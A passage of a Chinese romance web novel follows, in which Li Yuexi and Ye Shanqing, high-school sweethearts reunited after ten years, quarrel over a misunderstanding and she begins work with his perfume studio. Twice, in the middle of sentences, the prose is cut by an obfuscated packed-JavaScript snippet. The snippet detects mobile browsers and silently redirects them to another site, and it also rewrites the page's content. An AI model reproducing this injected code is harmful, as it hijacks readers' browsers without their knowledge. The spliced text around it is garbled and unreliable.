钟意走进来,“找你一圈,原来一个人躲在这儿。” 她没有演出经验,忽然被人听见唱歌,脸颊一烧,有些难为情,“我唱得不太好吧……” 钟意给她递了瓶水,“不会,我觉得很好听,我陪你一起练。” 连续好几天,两人结伴吃午饭,吃完就往舞蹈室跑。 班里的人也渐渐知道了她们俩仍然在为艺术节、为三班而努力。 十七八岁,正是年少义气的时候。一群人受了鼓舞,也争相报名参选。 包括叶杉青。 他从那次才算真正认识了这个女孩,原来她不像别人说的,只会独来独往闷头不领任何人的情。 她只是,有自己的处事方式。 也是从那次,他开始注意她。 不同于普通同学的注意。 最终,黎悦夕那个平平无常的歌唱节目没被保留到终演。 演出当天,她和其他同学一起坐在观众席。 倒数第二个节目是钢琴独奏,各班报名的节目里都有这一项,最终只有叶杉青一个人入选。 大礼堂宽阔中透着森严,悠扬的琴声蔓延至每个角落,让人不可控地沉浸其中。 叶杉青穿着熨烫平整的黑色燕尾服坐在台中央,黑白琴键在他修长指尖弹动。侧脸映在追光下,干净得像山间泉水。 整个人气质优雅,和平日里在教室和球场见过的模样截然不同。 黎悦夕忽然明白了,为什么他那么招学校里的女生们青睐。 平时咋呼是咋呼了些,这会儿看来,也是有吸引人的地方的。 她揉了揉鼻尖,视线静静落在他身上。 似乎就是从那天起,她再和他对上视线,不论表面装得如何淡然,胸腔里的心跳却根本控制不住。 / 一曲接近尾声,黎悦夕望着回忆里那个男孩弯了弯唇。 指尖滑过琴弦,唱到“爱你的每个瞬间,像飞驰而过的地铁”时,她缓缓睁开了眼。[注1] 壁灯重新一盏盏点亮,星点般浅淡的光盈满漆黑的屋子。 她越过人群,正正望见对面的叶杉青。 10. 夏夜出逃 昏黄光晕包裹,叶杉青的轮廓融在其中有些不明。 台上的人怔然片刻,在掌声中起身朝大家浅浅鞠了个躬。 将吉他放好,她理了理脸侧的发丝和衣摆,挪步要朝对面走。 叶杉青仍在看着她。 喝酒谈笑、自如地弹着吉他唱歌、在朋友们中间明媚朗然。 这一切的一切都好陌生,好像面前的只是一个名字同样叫黎悦夕的人,并不是他从前认识的那个。 他不在她身边的这么多年,她到底经历过什么,又承受过什么? 他一概不知。 心底有好奇,又有错过她成长那几年的惋惜和不甘。 想着,叶杉青悄声沉了口气,望着她穿过人潮一步步靠近过来,自己也提脚迎上去。 没几步,一个穿黑色衬衫的男人拦在黎悦夕身前。 男人手上端着杯鸡尾酒往前递,浅淡笑笑道:“刚刚唱的那首歌,正好也是我喜欢的。咱们一起喝一杯?” 黎悦夕下意识抬手拒绝,“不了,朋友们还在那边等我。” 男人扬了下眉,又说:“那方便留个联系方式吗?下次……” 他话没说完,身后一道冷沉的声音将其打断,“不方便。” 叶杉青挪到两人身侧,直勾勾盯着人家看,目光和说话声一样满是森冷。 男人打量他两眼,干笑着回应:“打扰二位了。” 说罢,转身离开。 只剩两人面对面站着,气氛一时沉寂。好在周遭仍是客人们的欢闹声和播放的音乐,倒也没多尴尬。 片刻,黎悦夕抿抿唇,问他:“不是刚出差回来,怎么没先回家休息?” 他应:“连续工作好几天也累了,换换脑子。” “我……”黎悦夕想回话。 那头桌边的桑宁冲她招手,“悦夕姐,快回来坐啦,继续下一轮游戏!” 她朝那边点了下头,改口说:“我同事,我过去跟她们打个招呼,然后我们先走就好。” 叶杉青点头“嗯”了声,尾在她身后往右手边走。 此时的桑宁已经拿了个干净杯子倒好一杯啤酒递过来,瞥叶杉青一眼,问:“悦夕姐,这位是?” 黎悦夕余光从叶杉青侧脸滑过,声音不自觉压低了些,“一个朋友。” 叶杉青冲众人笑笑,“各位好,我叫叶杉青,碰巧在附近,看时间不早了就顺路过来接她。” 听见“接她”这话,黎悦夕自己都怔了怔,更别说一群和她朝夕相处,但从没见她身边有什么亲近异性的同事。 桑宁一脸不怀好意的笑,用手肘轻碰了下黎悦夕,“姐,看来不是普通朋友哦。” 黎悦夕咳了声,又看了看叶杉青。 他仍维持着礼貌的微笑,表情并没多少波动。 再继续这样八卦下去只会更尴尬,她俯身从座椅上拿了包,“你们玩,我们就先走了。” “你今天能跟我们一块出来玩那么久,我们已经很开心了,”桑宁笑着点头,往黎悦夕耳边凑,“就不耽搁你约会啦。” 黎悦夕耳根一热,朝她手背轻拍了下,拱着鼻子警告她别再多嘴。 桑宁却当没看见,咧嘴笑得更灿烂了,又朝叶杉青也挥了挥手,“拜拜帅哥!约会完,一定把我们悦夕姐安全送回家哦。” 黎悦夕拿她没办法,摇摇头折身就往外走。 两人一前一后出了小酒馆的门,窄巷中喧闹声小了些。 街灯闪烁,脚印踏过石板铺就的路,踩出有节奏的声音。 黎悦夕垂下眼,望着两人投在地面重叠的影子,不由弯了下唇。 她往前挪了小半步,和他并肩,缓声说:“我同事爱开玩笑,你别放在心上。” 叶杉青反问:“哪句是玩笑?说我们是去约会,还是说——” “我们不是普通朋友。” 他脚步一顿,侧脸的瞬间,目光也恰好落在她身上。 黎悦夕双唇微张,“啊?” 她一时没回应,毕竟前几次见面对话时的经历算不上多么和平,此时此刻她以为他这么问,又是要对她说什么刺耳的话。 “牵过手、接过吻,睡过一张床的朋友。的确不算是普通朋友。”他自顾自说。 此时眸光陷在黯淡夜色中,却并不似之前幽暗,反倒透出一抹浮动的柔和。 让人觉得他好像只是在刻意提醒,让她别忘了他们的过去。 黎悦夕更懵了。 定定望着他双眼呆了几秒,蹦出一句:“你这次出差还顺利吗?” 他收回视线继续往前走,语调平和,“忽然问这个,是想趁机岔开话题吗?” “不……” 原本是这么想的,一个字已经到了嘴边,她又看了看他侧脸,刹那间鬼使神差般真心话竟脱口而出,“你说的都是事实,我好像也没什么好岔开话题的。” “我这么问,只是关心你,你的病好了吗?” 这次换她直勾勾望着他。 说的话直接,眼神也毫不回避。这样倒显得他前几天故意装病找她的做法,实在不太坦荡。 他垂了下眼,匆匆应:“好了。” 黎悦夕没看出端倪,点着头说:“那就好。” 她接着看了眼时间,“时间确实不早了,我们去前面打个车吧。” 身旁的人没回应。 她当他是默认,已经低头点出打车软件。 没几秒,叶杉青重新张口:“我们,再散会步吧?” 黎悦夕指尖微顿,点头“嗯”了声答应下来。 走出这条窄巷,右拐顺着径直往前。 这个点路上不见多少人,并列的梧桐生长茂密,枝叶随夜风摆动,窸窣作响。 两人就这么沉默着走了好一阵,久违的安静待在彼此身边。 又往前几步,叶杉青先开口打破寂静:“什么时候学的吉他?” 从前的黎悦夕,为了努力改变自己的命运,给自己挣个更好的未来,一分钟时间都恨不得掰开揉碎成几份,全部用在学习上。 自己是有些看杂志之类的小爱好,也羡慕过别的同学会弹琴、会跳舞,可她也一直清楚知道,自己的生长环境,能吃饱穿暖,没辍学就已经是最好的,不能再奢求其他。 所以喜欢的东西,从来只是默默藏在心里。 直到真正长大,经济独立,才终于开始花钱花时间回头去抚慰小时候的自己。 她答:“就前两年才学的,不过工作忙起来,已经好久没弹过了。” “弹得挺好的,”叶杉青点点头,“歌唱得也好听。” 他接着问:“你从毕业就一直在亿智上班?” 黎悦夕“嗯”了声,打量他神色。 今晚的他,的确温柔如从前,让人放缓心神想安心和他聊些琐事。于是接着说:“以前其实只顾着闷头读书,也没人教过要做职业规划,经验不足,在校招会上投了不少简历,有时候一天跑好几家面试,无头苍蝇似的,累得够呛却没什么结果。” 她边说边摇头自嘲地笑,片刻后才注意到身旁的人不知何时视线一直静静落在她身上。 被直勾勾盯着,她笑意敛起了些,接着说:“来到亿智其实也像是赶鸭子上架,但既然来了,那什么行业都一样,做好就是了。” 叶杉青缓缓点了点头,重复她最后这句话:“做好就是了……” 这想法确实很黎悦夕,她一向是这样的,决定去做的,就必然会做好。 他了解了些她的事,她也不甘落后,顺势问他:“那你呢?以前好像也没听你说过对调香感兴趣的,怎么会去做调香师了?” 叶杉青抿了下唇,似有迟疑,片刻后才平淡答了句:“没什么特别的原因,就像你说的,做什么行业都一样。” 黎悦夕鼓着双腮点了点头。 两人继续往前走,他又主动说起这两年来工作室发生过的一些事,还说了些调香时候会遇到的难题。 一路就这么闲聊着,时间仿佛变得缓慢,也好像,两人中间十年的空白在一点点被填补,在拉近。 这天她睡得极为安稳,梦里不再是分别的场景。 - 周五下午,一周的忙碌即将结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14640927|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束。 黎悦夕双目无神,靠在椅背上伸了个懒腰,端过水杯往唇边喂。 桑宁捧着手机朝右边的李思宁那里靠,又在张罗周末的去处,“思宁,新开的两家密室逃脱,明天选一家去怎么样?” 李思宁目不转睛盯着电脑看,随口答了声:“我都可以。” 桑宁觉得她敷衍,又挤近了些,“你仔细看一眼再回话行不行?” 她低头朝李思宁电脑上看,眯着眼问:“上班时候也没见你这么认真看电脑,现在到底在看什么?” 凑近才见,电脑上就是一篇平常的商业报道,并没什么稀奇。 桑宁眉头拧得更深了,“这有什么好看的?” 李思宁却还是看得津津有味,“豪门八卦,不是挺有意思的嘛?” 她坐直,说得头头是道,“这报道,表面上是说川泰集团的叶家和明坤集团的刘家有商业合作,但是其实应该过不了多久,两家就要联姻了。” 桑宁问:“明坤?之前给我们赞助过的那个明坤?” 李思宁点头,“对啊,所以刘家和叶家要是联姻了,将来也关乎咱们亿智,我也不光是在八卦,也算是关心自己嘛。” 她努了努嘴,语气忽然沉下去,“不过要说这些富二代也挺惨的,婚姻全是交易,自己做不得一点主。” 桑宁拍了下她的肩,“月薪三千的你我,就别心疼人家强强联合的富二代了。” 李思宁眉毛一塌,瞬间说不出话。 两人的一番话全数落进不远处的黎悦夕耳朵里。 明坤集团什么情况她不了解,但川泰的叶家她清楚,他们家只有叶杉青一个儿子。 如果真的要联姻,除了他不可能有别人。 那天从酒馆离开之后,她本来以为,他们的关系在一点点变好,甚至悄悄冒出过不切实际的想法,他们或许还有可能…… 一时的欢愉还是冲昏了头脑,倒是这则新闻,让她又重新看清现实了。 她摇了摇头,强行关掉脑海里这些混乱的思绪。 桌上手机响了声,她拿过来看。 叶:[结束工作了,我来接你一起吃饭。] 但凡这条信息是在三分钟前发过来的,她也会毫不犹豫回好。 她望着屏幕呆了阵,不由叹了口气,最终回过去一句:[我还要加班,不用了。] 叶:[知道了,那你先忙。] 黎悦夕没再回复,心情却坠入谷底。 六点多,她挎着背包和同事们先后从办公楼出来。 午后下过一场雨,这会儿天色仍还有些阴沉,她扯开肩上的托特包,确认钟意给的五折雨伞在里头,这才放心地提脚往前走。 “悦夕。”一道男声从侧面传来。 黎悦夕循声去看。 周承衍立在那头,和她对上视线之后,弯唇笑着迎了过来。 他穿一件浅米色的商务衬衫和一条黑色西裤,头发打理得齐整,从头到脚一如既往的绅士得体。 走到和她两步的距离后,问道:“想吃什么?” 黎悦夕有些惊讶,“你怎么忽然过来了?” 周承衍笑笑,伸手要来接她肩上的包,“下午见的客户就在你们公司附近,正好和你也好久没见,结束后就过来了。没打招呼就来找你,不高兴了?” 她摇头,“我哪有那么容易不高兴。正好,上次你送了我搬家礼物,我还一直想着请你吃饭呢。” 周承衍撇了下嘴,“正好?本来两顿饭现在变一顿,我怎么觉得自己亏了?” 黎悦夕:“那今天你请,我下次再请,这样不亏了吧?” 周承衍笑得温和,“这还差不多。车在那边,边走边选餐厅吧。” 她“嗯”了声,和他一起顺着人行道往前朝停车场去。 马路这头,黑色宾利停下,驾驶座上的叶杉青双手紧紧握了握方向盘,望着谈笑渐远的两道背影,眸光愈沉。 他抓过墨镜戴上,好像这样就能挡住眼前的画面。 随即调转车头,哼笑着念叨了句:“原来加班只是拒绝我的说辞。” 11. 夏夜出逃 车子在道路上加速行驶,叶杉青一再调高电台音量。 想的是听着电台讲的故事、播的歌曲能分散注意力,哪知道电台里接连播放的都是些苦情歌,越听就越是让人心烦意乱,更难忘怀刚才的画面。 红绿灯交替,他出力踩一脚刹车。 望着红灯上的数字在眼前跃动,心口跳动的频率也跟着变急促。 数字一点点变小。 “三、” “二、” “一。” 红灯转绿的片刻,他重新启动车子,前行一段顺着右侧小道拐进去,抄了条近道朝千熙园的方向驶去。 路途不算远,他到达千熙园的时候还不到七点。 他在小区门侧找了个显眼的位置停下车,松开安全带,直起身子静静坐在驾驶位上盯着车窗外看。 天色一点点暗下来,小区里外的路灯接连点亮。 下班的年轻人背着一身疲惫匆匆进门,吃过晚饭的老人小孩嬉闹着出门散步。 人群往来,却许久不见黎悦夕的身影。 叶杉青又低头看一眼手表,秒针在眼前跳动,更让人心乱如麻。 一刹,不止是被她拒绝,看着她和别的男人从眼前谈笑离开,又等她两个多小时的怒气在翻腾。连十年来积压心底,这几天才好不容易平息了些的怨恨也重新沸腾。 他拿起手机,闷头要去拨黎悦夕的电话。 手指刚触到屏幕上,一辆白色的宝马减速停住。 驾驶座的门先打开,穿衬衫的男人小跑着绕到副驾驶门边,一手往门沿上挡,俯身冲面前出来的人微笑。 浅黄灯光坠下,黎悦夕在车身旁站稳,一手将背包往肩上挎,另一手冲面前的人摆了摆,咧嘴笑得明朗。 距离稍远,听不清两人在说些什么,但看表情,聊得似乎很是愉快。 叶杉青将手机反手朝座椅上一扔,掌跟猛地朝喇叭上砸。 周遭的路人都被这突如其来的一声吸引视线,白车旁的黎悦夕和周承衍也不例外。 两人对话中止,齐刷刷扭头找声音源头。 周承衍触了触额角,低声念叨道:“也没人堵路,怎么忽然按喇叭?” 黎悦夕没出声,眉心微蹙又朝那辆车多看了两眼,随后说:“你回去路上开车慢点。” 周承衍点了下头,“知道了,上去休息吧。” 她退到路沿上,望着周承衍上车,又晃了晃手掌,这才转身。 踏进小区大门前,她又朝刚才那辆按喇叭的黑车瞥了一眼。 恰在这时,黑车车门被推开。 下车的人动作行云流水,反手“啪嗒”一声合上车门,跨着大步就朝她这头走过来。 黎悦夕脚步顿住,看他越来越近,问道:“你怎么会在这里?” 他偏头朝周承衍离开的方向瞟一眼,眸色愈深。收回视线后扯着唇,不轻不重反问了句:“我不能出现在这儿?” 怎么又一股莫名的火药味? 黎悦夕不解,摇了下头,“上去待会儿?” “不方便吧,”他咬了咬牙,还是憋不住心里的话,“所以你是加班到现在?” 不等人家回答,他又自己摇摇头说:“你和他一起待到现在,这就是你所谓的加班?” “我……” 黎悦夕一时语塞。 加班本来就是随意找的借口,她哪能想到竟然会被他当场抓包。 她难为情地垂了垂眼,低声问:“你一直在这儿等我?” 叶杉青直勾勾望着她,这会儿语气越发强硬起来,“对,从你公司楼下等到家门口。看你一路和他笑着走开,又笑着回来。” “你们一顿饭要吃这么久吗?有什么重要的大事要聊?就那么难舍难分,站在马路牙子上也要说半天?” 一气呵成的一番话,莫名奇妙的三连问,黎悦夕一头雾水。 她撒谎加班拒绝他是不对,可从头到尾也没让他在这里等她。现在却搞得好像,是她爽约害他等这么久的。 他哪来的无名火? 她摇着头无奈地叹了口气,仰起头对上他视线,“我是答应补偿你,但你今天只是说吃饭,又不像前几天不舒服去医院需要人照顾。一顿饭,我连选择不去的权利也没有吗?” 叶杉青笑了声,“所以你就是宁愿编加班的借口搪塞我,也不愿意和我一起吃那顿饭。或者换种说法,你一开始就是想和刚刚那个人一起,不管我说的是不是吃饭,你都会推辞。” “……”黎悦夕双唇紧抿,一下子都不知道怎么应对。 鼻间沉下一口气,她才重新张口:“就事论事,我们一顿饭吃多久、聊什么,这些和你有关系吗?我和朋友做什么必须经过你的批准吗?” 叶杉青眉心拧得更深了,他双手往腰间一插,声调愈沉,“对,不用经过我的批准,你喜欢和谁待在一起,爱和人家做些什么,这都是你的自由。是我自作多情,饭也不吃等你那么久,还换你一张冷脸。” 无厘头就被他这样数落,她的气恼彻底扼杀了理智。 加上想到叶家要和刘家联姻的事,她就更是听不进去别的,最后只朝他吼了句:“本来就没人让你在这里等,我和你又没什么关系,莫名其妙!再说,你哪里会真的缺一个陪你吃饭的人,你身边朋友、同事……” 她顿了半秒,眼神更加凌厉,“还有女朋友、未婚妻什么的,这些人不都能陪你吃饭吗?” 自顾自说完,她径直就往前走。 叶杉青追上来想伸手拉她,她却用力甩开他的手,头也没回。 看着自己抓空的手,叶杉青也气不打一处来,立在原处沉沉喘了几口气,回身上了车。 他仰头朝黎悦夕家的方向看,不解地自问:“什么女朋友、未婚妻?” 左思右想也得不出结论,他一下子更觉得生气了。 明明他还没追问她和刚刚那个男人到底什么关系,她还倒打一耙,先无中生有上了。 叶杉青抓过手机去点微信,在黎悦夕的对话框里写:[我没有女朋友、未婚妻,倒是你……] 字打了一半又被他全数删除。 她都说了,她的事和他没关系,他现在还在自作多情什么? 黎悦夕闷头回到家,从冰箱里拿出一瓶冰水,仰头灌下大半,方才涌上的怒意终于缓和不少。 她鼓着双腮吐了两口气,往窗户边挪。 叶杉青的车子还停在门侧,驾驶座上车窗似乎半开着,但看不清里头的人。 这会儿冷静了些,她回忆起他刚刚说,他一直等在这里,还没吃饭,一下子又有些心软。 拿出手机在他对话框里打下一句:[你要不要上来吃点东西再走?] 犹豫着要不要按下发送,却见路沿上的车子尾灯一亮,加速驶离了她的视线。 黎悦夕瘪着嘴“嘁”了声,最终没发出那条信息,只暗骂他:“小心眼。整天跟手雷似的,一点就炸。” - 那天后,两人默契地谁也没再联系谁,就像重逢过只是一场梦境,现在醒了绝口不提就无事发生。 傍晚,开完决策会,叶杉青没和工作室的人一起吃饭,匆匆将电脑和文件夹送回办公室便离开了。 他开车去了亿智策划楼下。 六点多,写字楼正是下班高峰期。 攒动人群远远望去像拥挤的蚁群,接连往外涌出。 黎悦夕也身在其中,身边是个短发小姑娘。两人出门后道了别,一左一右各自离开。 这几天以来,叶杉青每天都在差不多的时间来到这里,重复做着同样的事。 她偶尔穿的裤装,就会扫一辆路边的共享单车骑行回家,穿裙装的时候就会选择坐地铁。 他没有下车的意思,就这么静静望着她朝地铁口走。 她的背影消失不见,他就掉头离开。 这会儿也一样,他瞥一眼后视镜,正要启动车子。 手机的响声打断了他的动作。 他拿起来看,见来电人是父亲的秘书文思,按下接听,简短“喂”了声。 那头的声音也不急不缓,“小叶总,叶总在医院,您有空的话过来一趟吧。” “医院?”叶杉青把手机往支架上放,边启动车子,边追问,“哪个医院?我爸怎么了?” 文思说:“就在一医,下午时候在办公室晕倒送过来了,现在还在做检查。” 叶杉青点头,“行,我马上就来。” 赶到医院的时候,叶俊成已经结束检查,待在病房里输液。 文思守在门口,叶杉青挪步过去,轻喊了声:“文姐。” 文思起身冲他弯了下唇,“目前已经出来的检查报告都没多大问题,就是太累加上叶总一直高血压引起的,你不用太担心。” 叶杉青“嗯”了声,“辛苦了,这里我守着,你先去忙吧。” 说罢,他伸手去拧门把手。 病房门刚开了条缝,里头夫妻俩的说话声传了出来。 孙芳礼坐在床边,用小叉子戳了块梨递给叶俊成,“你看我怎么说的,咱们还是得有自己的孩子,你这病是没多大问题,但是突然这么来了医院,公司全交给外人肯定还是不如自己人的。” 她抬眼打量叶俊成的神色,“我咨询过医生的,我这个年纪做试管也能成功。” 叶俊成点头,“现在医学这么发达,能成功不奇怪,我是担心你会受苦。” 孙芳礼浅笑着,“那点辛苦算什么,咱们有个孩子,一家三口其乐融融,多好啊。” 叶俊成静默片刻,“这事等我出院再说吧。” 孙芳礼想继续说话,叶杉青将门推开走了进去。 他大步往里走,一副没听见刚刚那些话的样子,只顾着问:“爸,您还好吧?不是早说以您自己的身体为主,工作上的事多放权给年轻人,怎么又把自己累进医院了?” 看见他,叶俊成笑意一收,瞬间严肃起来,“你还说,手底下年轻人是不少,可终归都不是自家人。” 他掀起眼帘,语调里尽是压迫感,“你在国外折腾那么几年不肯回来,我那时候没多过问,你回来了要弄工作室,我也没怎么干涉。现在我身体一天不如一天,你也不小了,是不是该收收心了?” 料想到逃不过这个话题,叶杉青面色平静,“爸,我刚刚问过您的检查结果了,明明没什么问题,您……” 孙芳礼也说:“就是,你的身体没多大问题。杉青他们年轻人,有自己的想法,爱出去闯荡是好事。” 叶杉青瞟她一眼,笑着没接话。 叶俊成杵着床沿坐直了些,仍旧直勾勾看着叶杉青,“你别恭维我,反正这次我得修养一段时间。和明坤签约剪彩,还有酒会的事,都交给你。至于你什么时候正式回川泰,我可以再给你点时间整理工作室那边的事。” 叶杉青吁了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14640928|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好歹没逼着他现在就立刻回集团,能拖一刻是一刻。 他最终还是点头,“行,这两件事我去做,您安心歇一段时间吧。” 听他这么说,叶俊成的表情才终于缓和了些。 - 第二天一早,天蒙蒙亮的时候,黎悦夕便和桑宁一起出发,前往靖水市和临省的交界,桃苓山。 这次的项目是为桃苓山上一家名叫一盏春的茶园做宣传。 这几年类似的项目黎悦夕经手不少,和一盏春经理见面聊的两次双方意见也算统一,这一趟倒没多大压力。 车子由桑宁开着,一路行驶平稳,和她平时闹腾的样子相反。 越是进山,白色雾气越是氤氲蔓延。 黎悦夕伸了个懒腰,从包里拿出零食,问:“草莓干和芒果干,想吃哪个?” 桑宁思考片刻,“草莓干吧,酸一点提神。” 她“嗯”了声,撕开草莓干,捏出一块往桑宁嘴里喂。 桑宁含糊不清道了声谢,她随即给自己也喂了一块。 嚼了两下,酸甜的味道在口腔里铺开,黎悦夕止不住抖了下肩,确实瞬间清醒了。 桑宁笑笑,要伸手去碰中控台。 上车时随手调的财经新闻,听得人实在疲乏。 这时,一则新闻正好播完接入下一则,主持人说近段时间传出川泰集团和明坤集团合作的消息已经坐实,两家企业将在近期完成签约和剪彩仪式。 桑宁皱眉,“怎么又是他们两家,最近他们的新闻真是铺天盖地的。还真是信息时代,大企业也离不开营销和炒作。” 说着,她手已经要按到切换频道的按钮。 黎悦夕喊了声:“等会儿,听完这个吧。” 桑宁没多问,手已经收回去把着方向盘。 她却生怕自己的私心暴露,硬是又解释了句:“就像李思宁说的嘛,明坤跟咱们公司也有利益关系,多了解点没坏处。” 长长一段专业的企业新闻结束,电台里两位主持人最后以闲聊收尾,说这次川泰阵仗这么大,可能是要借机宣布未来继承人。而合作对象又选的是有两个女儿的明坤,大概率是要连姻亲关系也一道宣布。 听完这句,黎悦夕自己关了电台,换成钢琴曲。 她偏头朝车窗外看,郁葱山景在眼前滑过,她却无心欣赏。 呆了一阵,闷头拿手机去搜索明坤集团的信息。 网页显示,明坤的刘总一共三个孩子,大儿子二十出头就已经进入集团,行事稳重,继承人非他莫属。剩下两个女儿,一个叫刘诗雅,去年开始接触集团事务。只有小女儿最神秘,既没有名字,也不见照片,只说年纪还小,家里人一直宠着,由她做喜欢的事,并没接触什么生意上的东西。 越看思绪就越乱,黎悦夕索性往椅背上一倒,闭上眼强迫自己别再去想。 到达桃苓山后,黎悦夕和桑宁一整天跟着茶园的负责人续念奔走于茶山,实地了解园区布局,了解产品细节,一直到天黑的时候才从茶山上折下来。 她们被领进山下的一间小屋,说是暂做休息。 续念给两人泡了热茶端过来,笑得清雅,“黎总监,一整天下来,我基本没什么问题了,回头咱们一块敲定最终方案就好。” 黎悦夕点头,“我这边也没多大问题,方案……” 她看了眼时间,“后天下午三点前,我发到你邮箱。” 续念眼睛一亮,“之前没和你见面,就听我们经理说,这次的总监雷厉风行的,我应该和她聊得来。现在看来,确实如此。” 她递上右手掌,“希望我们这次合作愉快。” 黎悦夕回握住她,“合作愉快。” 她抿了口茶,语调不似聊工作时严肃,“对了,我想问点题外话,我看你年纪应该很小,怎么会甘心把时间都放在茶山上?” 续念答得平淡:“也没什么特别的理由啦,一来这是我妈妈的心血,二来我自己也觉得开心。反正整天围着香喷喷的茶叶转,比在生意场上勾心斗角让人舒服多了。” 黎悦夕笑笑,倒是有点羡慕她的心性。 片刻,续念又说:“黎总监,你后续的工作安排还有空余吗?我先生他们的工作室,正好也在找宣传合作。” 黎悦夕回:“这个月主要的就是你们茶园的项目,别的还有两个,但是时间占比上花不了多少。” “你先生他们是做什么的?”她问。 续念说:“做香水的,见山调香工作室。他们最近在为香道艺术大赛决赛冲刺,比赛结束,新款香水也会正式上线,时间大概在下月末,还挺宽裕的。” “见山……”黎悦夕念叨,眸色微闪。 续念“嗯”了声,等她回应。 既叫见山,又是调香工作室,哪有那么巧合。 再联想续念的年纪,随性的风格,竟然莫名都和她搜索出的明坤集团小女儿的信息对上了。 她垂着眼沉默,右手不自觉紧紧握住茶杯。 出力咬了咬下唇才掀起眼帘,迟疑着问:“你先生,是不是……姓叶?” 续念下意识“嗯?”了声,解释道:“我先生姓易。不过他们工作室确实有位合伙人姓叶,你们认识吗?” 一颗心近乎悬到嗓子眼,听见答案那一刻才终于回落。 黎悦夕悄然松一口气,浅笑着摇头,“不认识,只是听过。” 她补充:“我时间没问题。” 12. 夏夜出逃 茶园的方案比计划中敲定得还快些,空出的时间黎悦夕原本能稍作休息调整下状态,心里一直悬着答应过要和见山调香工作室见面谈合作的事,她便也没法静下来,索性把手头上其他事情也一并提前处理完了。 去见山工作室的时间约在周五下午。 黎悦夕午饭后没在办公室待多久,收拾好需要的资料和笔记本电脑,出门打了车前往。 见山选址极好,位于靖水市近年来刚兴起的科技园,既远离了闹市区的纷杂,又不是交通往来十分不便的区域。 园区里大大小小的公司,基本都是年轻人们合伙弄的新兴产业。 见山在C区,一幢三层的独栋办公楼。 外墙整体为大面积的白色,以少部分的青灰色做点缀,简约中不乏大气。 这就是他这两年来每天出入的地方。 黎悦夕抬眼盯着门头看,驻足吁了口气。 迟疑片刻,又想,从她答应过来做初步商谈至今,已经过去两三天时间,叶杉青作为工作室的合伙人之一,必然是会提前知晓工作室的大小决策的。 既然没人通知她别来,那也侧面说明,他应该是不反对在工作场合见到她的。 自顾自捋顺思路,她推门进了工作室。 前台是个留披肩发的年轻小姑娘,名叫施颜,笑得甜美,“女士您好,欢迎您来到见山,请问有什么可以帮您的吗?” 黎悦夕回以礼貌的微笑,“你好,我是亿智广告公司的黎悦夕,和你们易总约好下午两点半见面。” 施颜点头绕过来,抬起右臂为她引路,“是黎总监啊,易总交代过的,我带您上去。” 黎悦夕道了声谢,尾在她身后往前走。 穿过员工们的办公区域,右手边是一条长长的走廊,尽头靠墙摆着高矮不一的玻璃展柜,里头都是陈列的香水样品。 那头光线通透,光晕透过玻璃柜晕开,衬得里头的香水瓶也像是精美的艺术品。 她凝眸望了两秒,问:“那些都是工作室里调香师们的作品吗?” 施颜顺着她的视线看,回应道:“对。我们工作室现在主要的调香师就是您待会要见的易总,和另一位合伙人叶总。那边展示的都是他们两位的作品。” 黎悦夕缓缓点了点头,目光又在玻璃柜上落了片刻,“今天,只有易总在吗?” 施颜按了电梯,随后应:“对,叶总这两天都没过来。” 这两天都没过来。 像是刻意在回避她。 黎悦夕笑得苦涩了些,没再追问。 电梯在三楼停住,她被领着朝右手边那间办公室走。 门虚掩着,施颜屈着指节往门上轻敲两下,说道:“易总,亿智的黎总监来了。” 里头随即传出一道沉稳的男声,“请她进来。” 施颜开了门侧身让出路。 办公室会客区摆着黑色皮质沙发,一男一女对立而坐。男人穿着西服套装,每一根发丝都打理板正。女孩也是通勤装,但眉眼间的柔和气质中和了身上服装的死板。 黎悦夕挪步进去,冲男人伸手,“易总您好,我是黎悦夕。” 易思岚站起身和她短暂握了握手,点头应:“你好黎总监。” 随后介绍道;“这位是罗依琳,工作室市场部的负责人,一些相关数据待会儿可以和她讨论。” 黎悦夕和罗依琳握过手,三人重新坐下。 没多寒暄,三人立即进入工作状态。 易思岚在电脑上调出产品页给黎悦夕看,“黎总监,我们这次的宣传重点是即将上市的新香水。这两款香水都是茶香调为主,分别又添入调香师对茶香的不同见解最终形成。你先前和我太太去过一盏春的茶园,对她们的茶叶已经有了了解,这部分我就不再赘述,我们直接切入正题。” 黎悦夕点头,耐心听着对方专业方面的介绍以及希望在宣传时侧重的要点,从中捕捉方案对接时可能用到的信息进行记录。 三人聊得细致,时间不知不觉从中流逝,转眼到了傍晚。 三楼办公室采光好,这会儿一束霞光正正好从窗口落进来,颜色鲜亮抢眼。 罗依琳望一眼窗外,提醒道:“易总,时间不早了。” 易思岚这才将视线从电脑屏幕上暂时挪开,“抱歉黎总监,聊得投入没注意已经这个点了。” 黎悦夕摇头,“没事的,了解得越深入,也更利于咱们的合作。” 他“嗯”一声,低头去看手表,“咱们一起在附近吃晚饭吧,我太太应该也马上就到了。这两天她一直叮嘱我,一定要努力促成和你的合作,别浪费了这么好的合作对象。正好你们见一面,她就放心了。” “行,那就谢谢易总做东了。”黎悦夕说。 话音才落,办公室的门被敲响。 续念推开门,小碎步往里挪着,迫不及待就问:“你们谈得怎么样?” 易思岚温柔地笑,“很顺利,谢谢老婆为我们操心。” “那就好。”她满意地点头。 接着看向黎悦夕,“黎总监,能认识你真的很好,一箭双雕,把我们茶园和见山的问题都解决了。” 黎悦夕弯唇笑笑,“是我该感谢你给我牵线。” 